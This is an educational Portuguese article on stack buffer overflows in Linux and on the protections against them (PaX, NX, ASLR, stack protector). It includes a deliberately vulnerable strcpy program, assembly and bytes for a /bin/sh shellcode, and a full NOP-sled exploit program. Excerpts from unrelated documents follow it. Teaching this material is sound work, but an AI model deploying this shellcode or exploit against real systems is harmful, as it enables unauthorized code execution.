Buffer Overflow e Mecanismos de Defesa

Tamanho: px
Começar a partir da página:

Download "Buffer Overflow e Mecanismos de Defesa"

Transcrição

1 Buffer Overflow e Mecanismos de Defesa Alex Van Margraf Especialização em Redes e Segurança de Sistemas Pontifícia Universidade Católica do Paraná Curitiba, fevereiro de 2013 Resumo Este artigo é o resultado de um estudo realizado para compreender o funcionamento de um ataque que anos após sua descoberta desperta curiosidade e certa preocupação. O trabalho introduz o conceito por trás das vulnerabilidades deixadas por programas mal projetados que podem dar origem ao ataque de buffer overflow, mais especificamente os ataques em estruturas de pilha na chamada de função em ambiente linux. Ao abordar o assunto se fez necessário explicar os mecanismos de exploração (tais como exploits e shellcodes) e os mecanismos de defesa (alguns já implantados no kernel do Linux) que fazem com que a exploração de buffer overflow tenha um custo razoavelmente alto. 1 - Introdução O primeiro documento detalhado sobre a técnica de stackoverflow foi escrito pelo hacker Aleph One 3 intitulado Smashing The Stack For Fun And Profit e publicado na revista eletrônica phrack edição 49 de 08/11/1996. Aleph One faz um estudo muito didático de como se conseguia um ataque de stack overflow. Com o passar do tempo esta documentação tem ficado obsoleta, pois diversos mecanismos de proteção foram criados. Para o entendimento desse mecanismo de ataque é necessário conhecimento em: assembly, organização de computadores e programação. Explanada de uma maneira superficial a técnica consiste em substituir na memória o endereço de retorno da função para apontar para outra posição na memória que contenha o código injetado, a substituição do endereço de retorno ocorre quando uma quantidade de dados maior que a capacidade declarada é adicionada em um buffer. Isso faz com que estruturas importantes do processo sejam sobrepostas, por exemplo, o endereço de retorno da função que ao ser sobrescrita com o endereço de outra posição da memória, poderá apontar para um código cuidadosamente elaborado e se aproveitando da execução do programa. 2 Estruturas do Processo Um programa em execução é composto por um ou mais processos, esses processos são divididos na memória em cinco regiões: Texto, dados, bss, heap e pilha [2]. A área de texto permite somente leitura e armazena as instruções do programa. Qualquer tentativa de gravar informações na área de texto resulta em falha de segmentação. O segmento de dados e bss são utilizados para armazenar variáveis estáticas e globais. A região de heap é de tamanho variável e é usada quando são usadas funções alocadoras, por exemplo, a função malloc do C. A pilha possui tamanho variável, armazena variáveis locais da função, parâmetros da função e valores de retorno da função, possui a característica de crescer no sentido inverso da memória em direção à parte baixa. A Pilha é uma estrutura do tipo LIFO (o primeiro a entrar será o ultimo a sair). O registro SP é usado para manter o endereço do topo da pilha, que constantemente muda à medida que os itens são inseridos ou retirados [2].

2 Quando o programa principal chama uma função ocorre um desvio de processamento para a função, então o código da função estará sendo executado em outra posição da memória e ao terminar a sua execução a função deve retornar o controle para a próxima instrução, após aquela que lhe deu origem. 3 Assembly Para manipular o comportamento do programa vulnerável é necessário o uso de ferramentas de debug e descompiladores como o GDB e objdump no Linux. Após descompilar um programa o resultado será um código em assembly. Operações assembly na sintaxe Intel seguem modelo: operação <destino>, <origem>, sendo que a origem ou o destino podem ser um registrador, um endereço de memória ou um valor. mov EAX, 0x01 mov EBX, 0x00 int 80h Códigos em assembly possuem muitas operações com registradores, alguns desses registradores são usados como acumuladores: eax (accumulator), ecx (counter), edx (data), ebx (base), outros registradores como: esp (stack pointer), ebp (base pointer), esi (source index), edi (destination index), eip (instrution pointer) responsável por apontar para a instrução que esta sendo executada. 4 - Processos em Memória Quando uma função é chamada, o sistema operacional cria uma região chamada pilha (stack), que irá armazenar as informações para a execução da função. Analisando o código abaixo extraído do artigo de Aleph One [3]: void funct_buf(int a, int b, int c){ char buffer1[5]; char buffer2[10]; void main() { funct_buf(1,2,3); Quando o ponteiro de instrução EIP apontar para a chamada da função funct_buf em main, os três parâmetros da função serão empurrados para a pilha em ordem reversa, seguido pelo endereço de retorno da função, que será responsável por indicar ao processo como retornar a execução no ponto onde foi desviado.

3 Pilha cresce Endereço de memória cresce Pilha cresce 0x SP Retorno 0x Parâmetro 3 Parâmetro 2 Parâmetro 1 Pilha SP SP 2 Contexto da Função funct_buf 1 Retorno Parâmetro 3 Parâmetro 2 Parâmetro 1 Prolog pushl %ebp movl %esp,%ebp subl $n,%esp BP Endereço de memória Main() BP Contexto da Função Main Main() 0xFFFFFFFFFF Figura 1: processo antes do prolog 0xFFFFFFFFFF Figura 2: procedimento de prolog Na chamada da função é realizada primeiramente uma rotina chamada prolog, que prepara a pilha para receber as variáveis da função, conforme observado nas figuras 1 e 2. Inicialmente o BP está apontando para uma posição no contexto principal, em seguida o prolog copia o valor do SP (stack pointer) para o BP, e finalmente o SP é movido para obter espaço para variáveis internas, a figura 2 ilustra esse processo. Epilog é nome dado ao processo contrario onde o SP retorna a posição original. 5 Descobrindo a Falha A maioria das vulnerabilidades de buffer overflow acontece devido a erros do programador, quando ele não verificava com antecedência os limites do buffer ao utilizá-lo. Nas primeiras versões o GCC também não verificava os limites dos espaços alocados ao se inserir um valor no buffer. Um exemplo de código vulnerável pode ser visto abaixo: #include <stdio.h> #include <string.h> int main( int argc, char **argv ) { char buf[5]; strcpy( buf, arg[1] ); return 0; A função strcpy deixa o código acima vulnerável, pois ela não faz uma verificação no tamanho do buffer antes de copiar os valores para ele. Hoje o GCC alerta sobre este tipo de vulnerabilidade quando compila o código. Para fazer um teste pode ser desativada a proteção do GCC sobre a pilha (-fno-stackprotector). O comando abaixo demonstra isso: alvm@alvm-desktop:~$ gcc -fno-stack-protector -mpreferredstack-boundary=2 -O0 -g -o test teste.c

4 O esperado seria que o programa apresentasse falha de segmentação quando inserido o sexto valor (lembrando que o buffer tem um tamanho de cinco), mas a falha ocorre quando se sobrescreve estruturas críticas do programa além do tamanho do buffer. alvm@alvm-desktop:~$ alvm@alvm-desktop:~$ alvm@alvm-desktop:~$./teste AAAAA alvm@alvm-desktop:~$./teste AAAAAA alvm@alvm-desktop:~$./teste AAAAAAA alvm@alvm-desktop:~$./teste AAAAAAAA alvm@alvm-desktop:~$./teste AAAAAAAAA Falha de segmentação Usando o GDB para o debug e o comando r AAAAAAAAAAAA para passar o parâmetro para o programa. alvm@alvm-desktop:~$ gdb -q teste Lendo símbolos de /home/alvm/teste...concluído. (gdb) r AAAAAAAAAAAA The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/alvm/teste AAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x in?? () Usando o comando i r eip para ver o valor no registrador eip. O resultado é o endereço de retorno substituído pelo 0x41 valor hexadecimal de A. (gdb) i r eip eip 0x x Shellcode / Payload É o código elaborado para ser injetado dentro do espaço de memória de um programa vulnerável, com o objetivo de obter o controle sobre o fluxo de execução do programa. Os shellcodes são códigos (object code) que o processador interpreta de forma nativa. Uma característica na elaboração dos shellcodes é a preocupação em eliminar os chamados bad chars, um exemplo de um bad char é o byte nulo (0x00), este caractere na maioria dos sistemas significa fim de texto, quando uma função está lendo uma entrada e encontra este caractere a leitura é encerrada. Os shellcodes interagem com o sistema operacional através de chamadas de sistema (syscalls). Em assembly para executar uma chamada de sistema é preciso seguir alguns passos: 1 - O registrador EAX deve receber o valor da syscall. 2 - Os demais registradores (EBX, ECX, EDX, ESI, EDI, EPB) ficam a disposição para receber os parâmetros da syscall. 3 - Executar a instrução int 0x80 (modo kernel); Para exemplificar a montagem de um shellcode temos um código em C logo abaixo: #include <stdio.h> void main() { char *nome[2];

5 nome[0] = "/bin/sh"; nome[1] = NULL; execve(nome[0], nome, NULL); Para elaborar um shellcode do programa acima temos que usar a função disassemble do GDB. $ gcc -o shellcode -ggdb -static shellcode.c $ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 1 <main>: pushl %ebp 2 <main+1>: movl %esp,%ebp #Prelude 3 <main+3>: subl $0x8,%esp 4 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) #nome[0] = "/bin/sh"; 5 <main+13>: movl $0x0,0xfffffffc(%ebp) #nome[1] = NULL; 6 <main+20>: pushl $0x0 #inserindo parametro na pilha em ordem inversa (NULL) 7 <main+22>: leal 0xfffffff8(%ebp),%eax #carrega nome[] para eax 8 <main+25>: pushl %eax #coloca endereço de nome na pilha 9 <main+26>: movl 0xfffffff8(%ebp),%eax #coloca endereço de nome[0] em eax 10 <main+29>: pushl %eax #coloca eax na pilha 11 <main+30>: call 0x80002bc < execve> #chama execve() 12 <main+35>: addl $0xc,%esp 13 <main+38>: movl %ebp,%esp 14 <main+40>: popl %ebp 15 <main+41>: ret End of assembler dump. (gdb) disassemble execve Dump of assembler code for function execve: 16 < execve>: pushl %ebp 17 < execve+1>: movl %esp,%ebp #Prelude 18 < execve+3>: pushl %ebx 19 < execve+4>: movl $0xb,%eax # copia syscall 11 em hexa(0xb) para pilha 20 < execve+9>: movl 0x8(%ebp),%ebx # copia /bin/sh em EBX 21 < execve+12>: movl 0xc(%ebp),%ecx #copia endereço nome[]em ECX 22 < execve+15>: movl 0x10(%ebp),%edx #copia endereço null pointer em EDX 23 < execve+18>: int $0x80 #executa instrução 24 < execve+20>: movl %eax,%edx

6 25 < execve+22>: testl %edx,%edx 26 < execve+24>: jnl 0x80002e6 < execve+42> 27 < execve+26>: negl %edx 28 < execve+28>: pushl %edx 29 < execve+29>: call 0x8001a34 < normal_errno_location> 30 < execve+34>: popl %edx 31 < execve+35>: movl %edx,(%eax) 32 < execve+37>: movl $0xffffffff,%eax 33 < execve+42>: popl %ebx 34 < execve+43>: movl %ebp,%esp 35 < execve+45>: popl %ebp 36 < execve+46>: ret 37 < execve+47>: nop End of assembler dump. Olhando para as instruções é possível enumerar os passos a serem seguidos: a) Ter uma string /bin/sh na memória. b) Ter o endereço da string /bin/sh. c) Copiar execve - syscall 11 que em hexa fica 0xB no registrador EAX. d) Copiar o endereço da string /bin/sh no registrador EBX. e) Copiar o endereço da string /bin/sh no registrador ECX. f) Copiar o endereço de NULL para o registrador EDX. g) Executar a instrução int $0x80. É preciso finalizar a execução de maneira confiável, sendo necessário usar a syscall exit da seguinte forma: h) Copiar 0x1 no registrador EAX (syscall 1 que em hexadecimal fica 0x1). i) Copiar 0x0 no registrador EBX (insere zero como parâmetro da syscall exit, para sinalizar sucesso). j) Executar a instrução int $0x80. Não se sabe onde na memória o shellcode estará alocado. Uma maneira de contornar isso é usar JMP. A instrução JMP permite saltar para um label que contenha uma chamada CALL, a chamada CALL irá colocar a próxima instrução na pilha como se fosse o endereço de retorno da chamada, mas o que ele acaba colocando na pilha é uma string. Um template básico pode ser visto abaixo: jmp two one: pop ebx [application code] two: call one db 'string' Uma versão modificada do shellcode em assemble ficaria assim: jmp two one: popl %esi movl %esi,0x8(%esi)

7 movb $0x0,0x7(%esi) movl $0x0,0xc(%esi) movl $0xb,%eax movl %esi,%ebx leal 0x8(%esi),%ecx leal null-offset(%esi),%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 two: call one db '/bin/sh' Após montar o shellcode em assembly é preciso transformá-lo em object code, que são caracteres diretamente interpretados pelo processador. Depois de compilar o programa.asm e linkedita-lo, será extraído os object codes com o utilitário objdump. $ nasm -f elf shellcode.asm $ ld o shellcode shellcode.o $ objdump d shellcode Após a eliminação dos bad chars e a concatenação dos object codes em uma string o resultado será um código parecido com o abaixo: "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x 0b\x89\" "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#"; 7 - Explorando a Falha O objetivo ao explorar um buffer é fazer com que o processador execute instruções injetadas no programa em execução. Tomando como exemplo o programa abaixo para elaborar um exploit: // overflow.c #include <stdio.h> void mostra_string(char *s) { char buffer[64]; strcpy(buffer, s); //função vulneravel printf("string: %s\n", buffer); int main(int argc, char *argv[]) { mostra_string(argv[1]); return 0;

8 Executando o código acima e forçando a falha:./overflow `perl -e 'print "A" x 2000'` Descobrindo o endereço de retorno: gdb./overflow core GNU gdb cvs Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-linux". Core was generated by `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaa'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x in?? () (gdb) info register esp esp 0xbffff334 0xbffff334 O programa acima não verifica o tamanho da string que esta sendo copiada para o buffer na função strcpy. Um exploit de buffer overflow forçará o estouro do buffer, injetando uma cadeia de caracteres previamente elaborada chamada shellcode ou payload. Um exemplo de exploit para o programa overflow.c pode ser visto abaixo: //exploit #include <stdlib.h> static char shellcode[]= "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89 \" "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#"; #define NOP 0x90 //instrução de maquina para um valor sem operação #define LEN #define RET 0xbffff334 int main() { char buffer[len]; int i; /* preenche o buffer com NOPs */ for (i=0;i<len;i++) buffer[i] = NOP; /* copia o shellcode para a posição inicial do buffer */

9 memcpy(&buffer[len-strlen(shellcode)-4],shellcode, strlen(shellcode)); /* copia para os 4 ultimos bytes o endereço de retorno */ *(int*)(&buffer[len-4]) = RET; /* executa o programa vulneravel e passa como parametro o buffer com o shellcode */ execlp("./overflow","./overflow",buffer,null); return 0; O programa acima declara uma variável shellcode que possui os bytecodes feitos a partir de código assembly para retornar um terminal shell. O programa declara um buffer de 1024 mais 8 bytes que representa o EBP e o endereço de retorno, sendo o buffer maior que o shellcode ele preenche o buffer com NOP s. NOP ao ser interpretado pelo processador é o mesmo que dizer para ele não fazer nada. O endereço de retorno é adicionado no final do buffer e em seguida será executado o programa overflow através da função C execlp, que além do nome do programa que será executado, também recebe o shellcode. O resultado será a execução do shellcode dentro do escopo de execução do programa vulnerável. 8 Mecanismos de Defesa PaX (Page-Exec) foi um projeto com objetivo de criar mecanismos para dificultar ao máximo as explorações que atacam endereços de memória vulneráveis. O PaX não se prende unicamente em impedir ataques de buffer overflow, mas contribui para que isso se torne uma tarefa mais difícil. Existem outros mecanismos de defesa que tratam exclusivamente de buffer overflow, como StackGuard e o Stack-Smaching Protector ( ProPolice SSP), ambos são melhorias de segurança para o compilador GCC. O StackGuard esteve presente até a versão 3.x do GCC e a partir da versão 4.1 o GCC passou a adotar o ProPolice. O Pax procura impedir alguns tipos de ataques entre eles: - Os que tentam executar código arbitrário, por exemplo, os shellcodes. - Os que tentam executar código fora da ordem pré-estabelecida, normalmente isso feito por ataque de retorno da função libc ou retlibc. O Pax fornece proteção contra execução em espaço de endereçamento não executável usando a funcionalidade do Bit NX. O objetivo do Bit NX é impedir que códigos sejam executados em áreas de memória não executável. Este recurso pode estar disponível por hardware nos processadores modernos. O termo Bit NX foi criado pela fabricante de processadores AMD e nos processadores intel foi chamado de bit XD, as duas funcionam da mesma maneira. Vários sistemas operacionais suportam o bit NX entre eles: Windows XP Service Pack 2 em diante, Linux a partir da versão do kernel, e Mac OS X. A tecnologia bit NX usa o bit mais significativo da paginação da memória como flag, se o bit for zero, o código pode ser executado, se for um, o código não será executado naquela página. Bit NX é uma tecnologia disponível para processadores com núcleo de 64 bits. Em processadores que não suportam o Bit NX, por exemplo, as CPUs 32bits x86, neste mecanismo pode ser emulado pelo sistema operacional, mas tal técnica pode gerar um overhead quando comparado ao bit NX nativo no hardware.

10 O Pax especifica dois métodos de emulação: o SEGMEXEC e PAGEXEC, ambos são mecanismos que protegem áreas de memória não executável. Outra técnica de proteção muito importante, chamada Address Space Layout Randomization (ASLR), criada pelo PaX em 2000, sendo que este projeto originou um patch para o kernel do Linux que faz com que os segmentos de um processo sejam alocados de forma aleatória na memória. Sem o ASLR os segmentos eram mapeados nos mesmo endereços a cada execução. Mesmo com o ASLR ainda é possível explorar algumas brechas, o que o ASLR faz é aumentar significativamente o custo de uma exploração. Existem técnicas de ataque que exploraram segmentos de memória que o ASLR não protege, por exemplo, segmentos de dados, código e BBS. A técnica mais empregada na tentativa de passar pela proteção do ASLR é a de força bruta. Um projeto similar ao PaX chamado ExecShield foi desenvolvido pela Red Hat, este projeto deu origem a um patch, para emular a funcionalidade do bit nx. Uma das coisas que o ExecShield fazia era sinalizar a memória quanto a posições onde os dados não deveriam ser executados, tentando eliminar assim vulnerabilidades como estouro de buffer e shellcodes. O ExecShield fornecia algumas funcionalidades de ASLR para a chamada de sistema mmap(), responsável por alocar espaço de memória virtual para os processos em ambiente POSIX. O ExecShield contribuiu para a proteção do kernel com a randomização de espaços de endereçamento de memória e para o desenvolvimento do GCC stack-protector. O Grsecurity é outro grupo que fornece um path que incorpora as funcionalidades do PaX e alguns recursos adicionais, por exemplo, três níveis de segurança configuráveis: baixo, médio e alto. Dentro destes níveis de segurança é possível configurar algumas opções como: auditoria do kernel, proteção em nível de file system, controle baseado na função (RBAC), opções de proteção em nível de rede e as proteções do projeto PaX. 9 Conclusão Após dezessete anos do artigo de Aleph One, muita coisa mudou a respeito de segurança contra buffer overflow. Se formos seguir a documentação original, nas atuais distribuições Linux, não será possível repetir os resultados sem antes desabilitar alguns mecanismos de proteção, os quais na sua maioria foram expostos neste trabalho. Mesmo com os recursos de segurança existentes, novas técnicas de subversão acabam surgindo, nos fazendo lembrar de que não existe segurança garantida cem por cento. 10 Referências [1] KURTZ, George; MCCLURE, Stuart; SCAMBRAY, Joel. Hackers Expostos. 4ª Ed. Rio de Janeiro: Campus, [2] ERICKSON, Jon. Hacking. 1ª Ed. São Paulo: Digerati Books, [3] PHRACK MAGAZINE. Ed. 49. Disponível em: Acesso em: 02 de Nov [4] MIKHALENKO, Peter. How Shellcode Work. Disponível em: Acesso em: 28 de Out

11 [5] OLIVEIRA, Leandro. Hello World em Shellcode. Disponível em: Acesso em: 28 de Out [6] MAKOWSKI, Paulo. Smashing the Stack in Disponível em: Acesso em: 06 de Ago [7] HEFFNER, Craig J. Smashing The Modern Stack For Fun And Profit. Disponível em: Acesso em: 15 de Ago [5] DOCUMENTATION FOR THE PAX PROJECT. Disponível em: Acesso em: 10 de Jan

Aprender como explorar uma falha dessa categoria

Aprender como explorar uma falha dessa categoria 16 Exploits 16.1 Objetivos Entender o que é um Buffer Overflow Aprender como explorar uma falha dessa categoria Fornecer informações para a realização do exame da certificação NOP (Network Offensive Professional)

Leia mais

Evolução dos Processadores

Evolução dos Processadores Evolução dos Processadores Arquitetura Intel Arquitetura x86 Micro Arquitetura P5 P6 NetBurst Core Processador Pentium Pentium Pro Pentium II Pentium III Pentium 4 Pentium D Xeon Xeon Sequence Core 2 Duo

Leia mais

Usando emacs, vim e gdb. Um guia BEM básico

Usando emacs, vim e gdb. Um guia BEM básico Usando emacs, vim e gdb Um guia BEM básico Fábio Augusto Salve Dias fabio.dias@gmail.com Emacs Editor MACroS http://www.gnu.org/software/emacs/ Disponível para inúmeras plataformas Versátil e expansível

Leia mais

UNIVERSIDADE FEDERAL DO RIO GRANDE DO SUL INSTITUTO DE INFORMÁTICA INFORMÁTICA APLICADA

UNIVERSIDADE FEDERAL DO RIO GRANDE DO SUL INSTITUTO DE INFORMÁTICA INFORMÁTICA APLICADA Responda 1) Quem desenvolveu a linguagem C? Quando? 2) Existe alguma norma sobre a sintaxe da linguagem C? 3) Quais são os tipos básicos de dados disponíveis na linguagem C? 4) Quais são as principais

Leia mais

IFPE. Disciplina: Sistemas Operacionais. Prof. Anderson Luiz Moreira

IFPE. Disciplina: Sistemas Operacionais. Prof. Anderson Luiz Moreira IFPE Disciplina: Sistemas Operacionais Prof. Anderson Luiz Moreira SERVIÇOS OFERECIDOS PELOS SOS 1 Introdução O SO é formado por um conjunto de rotinas (procedimentos) que oferecem serviços aos usuários

Leia mais

How to write Shellcodes por Luiz Fernando Camargo

How to write Shellcodes por Luiz Fernando Camargo How to write Shellcodes por Luiz Fernando Camargo 1. Introdução Shellcode é um grupo de instruções assembler em formato de opcode para realizar diversas funções como chamar uma shell, ou escutar em uma

Leia mais

CAPÍTULO 7 NÍVEL DE LINGUAGEM DE MONTAGEM

CAPÍTULO 7 NÍVEL DE LINGUAGEM DE MONTAGEM CAPÍTULO 7 NÍVEL DE LINGUAGEM DE MONTAGEM 71 Introdução Difere dos níveis inferiores por ser implementado por tradução A tradução é usada quando um processador está disponível para uma mensagem fonte mas

Leia mais

INTRODUÇÃO BUFFER OVERFLOWS

INTRODUÇÃO BUFFER OVERFLOWS BUFFER OVERFLOW INTRODUÇÃO As vulnerabilidades de buffer overflow são consideradas ameaças críticas de segurança, apesar de ser uma falha bem-conhecida e bastante séria, que se origina exclusivamente na

Leia mais

Conceitos de Sistemas Operacionais: Chamadas de Sistema. Prof Rafael J. Sandim

Conceitos de Sistemas Operacionais: Chamadas de Sistema. Prof Rafael J. Sandim Conceitos de Sistemas Operacionais: Chamadas de Sistema Prof Rafael J. Sandim Conceitos de Sistema Operacional Interface entre o SO e os Programas de usuário é definida pelo conjunto de instruções estendidas

Leia mais

Introdução à Arquitetura e Linguagem Assembly de Processadores IA-32

Introdução à Arquitetura e Linguagem Assembly de Processadores IA-32 Introdução à Arquitetura e Linguagem Assembly de Processadores IA-32 Sistemas da Computação Prof. Rossano Pablo Pinto, Msc. rossano at gmail com 2 semestre 2007 CHIP Ano MHz Transistors Mem 8086 1978 5

Leia mais

Orientação a Objetos

Orientação a Objetos 1. Domínio e Aplicação Orientação a Objetos Um domínio é composto pelas entidades, informações e processos relacionados a um determinado contexto. Uma aplicação pode ser desenvolvida para automatizar ou

Leia mais

http://www.risesecurity.org Rodrigo Rubira Branco rodrigo@kernelhacking.com rodrigo@risesecurity.org

http://www.risesecurity.org Rodrigo Rubira Branco rodrigo@kernelhacking.com rodrigo@risesecurity.org Ataques Polimórficos Rodrigo Rubira Branco rodrigo@kernelhacking.com rodrigo@risesecurity.org A idéia - Detectores de intrusos utilizam-se de assinaturas de ataques para identificação dos mesmos - Sistemas

Leia mais

ARQUITETURA DE COMPUTADORES INTRODUÇÃO

ARQUITETURA DE COMPUTADORES INTRODUÇÃO CURSO TÉCNICO DE REDES DE COMPUTADORES Disciplina de Arquitetura de Computadores Juliana Cristina dos Santos ARQUITETURA DE COMPUTADORES INTRODUÇÃO Processamento de Dados Computador máquina capaz de coletar,

Leia mais

COMO FUNCIONAM OS EXPLOITS

COMO FUNCIONAM OS EXPLOITS COMO FUNCIONAM OS EXPLOITS Aléxis Rodrigues de Almeida 1 Resumo Este documento descreve o que são e como funcionam os exploits, procurando mostrar, através de um exemplo real, os riscos que essas ferramentas

Leia mais

Experimentos com a memória cache do CPU

Experimentos com a memória cache do CPU Experimentos com a memória cache do CPU Alberto Bueno Júnior & Andre Henrique Serafim Casimiro Setembro de 2010 1 Contents 1 Introdução 3 2 Desvendando o cache 3 2.1 Para que serve o cache?.....................

Leia mais

Sistemas Operacionais. Prof. André Y. Kusumoto andrekusumoto.unip@gmail.com

Sistemas Operacionais. Prof. André Y. Kusumoto andrekusumoto.unip@gmail.com Sistemas Operacionais Prof. André Y. Kusumoto andrekusumoto.unip@gmail.com Estruturas de Sistemas de Computação O sistema operacional precisa garantir a operação correta do sistema de computação. Operação

Leia mais

MC404 - Organização de Computadores. e Linguagem de Montagem Instituto de Computação. Universidade Estadual de Campinas

MC404 - Organização de Computadores. e Linguagem de Montagem Instituto de Computação. Universidade Estadual de Campinas MC404 - Organização de Computadores Lab. e Linguagem de Montagem Instituto de Computação 01 Universidade Estadual de Campinas 1 Objetivo O objetivo deste laboratório é fazer com que o aluno se familiarize

Leia mais

SISTEMAS OPERATIVOS I

SISTEMAS OPERATIVOS I Instituto Superior de Engenharia do Porto Departamento de Engenharia Informática SISTEMAS OPERATIVOS I Textos de Apoio às Aulas Práticas Pré-processador, compilador e debugger 2004 Jorge Pinto Leite Sugestões

Leia mais

Nemesiz Security Group The Underground For Brazilians Hackers www.nemesiz.forum.st. Integer Array Overflow (Explorando Integer Array Overflow)

Nemesiz Security Group The Underground For Brazilians Hackers www.nemesiz.forum.st. Integer Array Overflow (Explorando Integer Array Overflow) Nemesiz Security Group The Underground For Brazilians Hackers www.nemesiz.forum.st Integer Array Overflow (Explorando Integer Array Overflow) Title: Integer Array Overflow Author: Felix_Poison A.k.A: Felix

Leia mais

Capacidade = 512 x 300 x 20000 x 2 x 5 = 30.720.000.000 30,72 GB

Capacidade = 512 x 300 x 20000 x 2 x 5 = 30.720.000.000 30,72 GB Calculando a capacidade de disco: Capacidade = (# bytes/setor) x (méd. # setores/trilha) x (# trilhas/superfície) x (# superfícies/prato) x (# pratos/disco) Exemplo 01: 512 bytes/setor 300 setores/trilha

Leia mais

Introdução a Java. Hélder Nunes

Introdução a Java. Hélder Nunes Introdução a Java Hélder Nunes 2 Exercício de Fixação Os 4 elementos básicos da OO são os objetos, as classes, os atributos e os métodos. A orientação a objetos consiste em considerar os sistemas computacionais

Leia mais

Arquitetura de Rede de Computadores

Arquitetura de Rede de Computadores TCP/IP Roteamento Arquitetura de Rede de Prof. Pedro Neto Aracaju Sergipe - 2011 Ementa da Disciplina 4. Roteamento i. Máscara de Rede ii. Sub-Redes iii. Números Binários e Máscara de Sub-Rede iv. O Roteador

Leia mais

SISTEMAS OPERACIONAIS

SISTEMAS OPERACIONAIS SISTEMAS OPERACIONAIS Tópico 4 Estrutura do Sistema Operacional Prof. Rafael Gross prof.rafaelgross@fatec.sp.gov.br FUNÇÕES DO NUCLEO As principais funções do núcleo encontradas na maioria dos sistemas

Leia mais

Intel x AT&T - recapitulação

Intel x AT&T - recapitulação ASSEMBLY aula 2 Intel x AT&T - recapitulação mov mov int mov mov mov mov add lea sub Intel Code eax,1 ebx,0ffh 80h ebx, eax eax,[ecx] eax,[ebx&plus;3] eax,[ebx+20h] eax,[ebx+ecx*2h] eax,[ebx+ecx] eax,[ebx+ecx*4h-20h]

Leia mais

Prof. Marcos Ribeiro Quinet de Andrade Universidade Federal Fluminense - UFF Pólo Universitário de Rio das Ostras - PURO

Prof. Marcos Ribeiro Quinet de Andrade Universidade Federal Fluminense - UFF Pólo Universitário de Rio das Ostras - PURO Conceitos básicos e serviços do Sistema Operacional Prof. Marcos Ribeiro Quinet de Andrade Universidade Federal Fluminense - UFF Pólo Universitário de Rio das Ostras - PURO Tipos de serviço do S.O. O S.O.

Leia mais

Vetores. Vetores. Figura 1 Exemplo de vetor com 10 elementos

Vetores. Vetores. Figura 1 Exemplo de vetor com 10 elementos Vetores Nos capítulos anteriores estudamos as opções disponíveis na linguagem C para representar: Números inteiros em diversos intervalos. Números fracionários com várias alternativas de precisão e magnitude.

Leia mais

Figura 01 Kernel de um Sistema Operacional

Figura 01 Kernel de um Sistema Operacional 01 INTRODUÇÃO 1.5 ESTRUTURA DOS SISTEMAS OPERACIONAIS O Sistema Operacional é formado por um Conjunto de rotinas (denominado de núcleo do sistema ou kernel) que oferece serviços aos usuários e suas aplicações

Leia mais

SEGURANÇA COM OPENBSD / Congresso de Tecnologia FATEC-SP 2006. AS2MWPC - Qualificação e Assessoria em Tecnologia de Informação Pedro Moura

SEGURANÇA COM OPENBSD / Congresso de Tecnologia FATEC-SP 2006. AS2MWPC - Qualificação e Assessoria em Tecnologia de Informação Pedro Moura SEGURANÇA COM OPENBSD / Congresso de Tecnologia FATEC-SP 2006 AS2MWPC - Qualificação e Assessoria em Tecnologia de Informação Pedro Moura Segurança com OpenBSD O mascote do OpenBSD é o Puffy, um peixe

Leia mais

PROGRAMAÇÃO ESTRUTURADA. CC 2º Período

PROGRAMAÇÃO ESTRUTURADA. CC 2º Período PROGRAMAÇÃO ESTRUTURADA CC 2º Período PROGRAMAÇÃO ESTRUTURADA Aula 07: Funções O comando return Protótipo de funções O tipo void Arquivos-cabeçalho Escopo de variáveis Passagem de parâmetros por valor

Leia mais

Tutorial de Auxílio. figura 1.0 programa de gravação

Tutorial de Auxílio. figura 1.0 programa de gravação Tutorial de Auxílio O intuito deste material é facilitar o uso, por parte do aluno, das ferramentas de software indispensáveis para o trabalho com os microcontroladores, neste tutorial abordaremos o processo

Leia mais

FACULDADE PITÁGORAS DISCIPLINA: ARQUITETURA DE COMPUTADORES

FACULDADE PITÁGORAS DISCIPLINA: ARQUITETURA DE COMPUTADORES FACULDADE PITÁGORAS DISCIPLINA: ARQUITETURA DE COMPUTADORES Prof. Ms. Carlos José Giudice dos Santos cpgcarlos@yahoo.com.br www.oficinadapesquisa.com.br Conceito de Computador Um computador digital é

Leia mais

Memória Flash. PdP. Autor: Tiago Lone Nível: Básico Criação: 11/12/2005 Última versão: 18/12/2006. Pesquisa e Desenvolvimento de Produtos

Memória Flash. PdP. Autor: Tiago Lone Nível: Básico Criação: 11/12/2005 Última versão: 18/12/2006. Pesquisa e Desenvolvimento de Produtos TUTORIAL Memória Flash Autor: Tiago Lone Nível: Básico Criação: 11/12/2005 Última versão: 18/12/2006 PdP Pesquisa e Desenvolvimento de Produtos http://www.maxwellbohr.com.br contato@maxwellbohr.com.br

Leia mais

Prevenindo e solucionando ataques de Buffer Overflow

Prevenindo e solucionando ataques de Buffer Overflow Prevenindo e solucionando ataques de Buffer Overflow Helder Dias Costa Flausino, Luís Augusto Mattos Mendes FACEC Universidade Presidente Antônio Carlos (UNIPAC) Barbacena MG Brazil helderflausino@gmail.com,

Leia mais

PROJETO LÓGICO DE COMPUTADORES Prof. Ricardo Rodrigues Barcelar http://www.ricardobarcelar.com.br

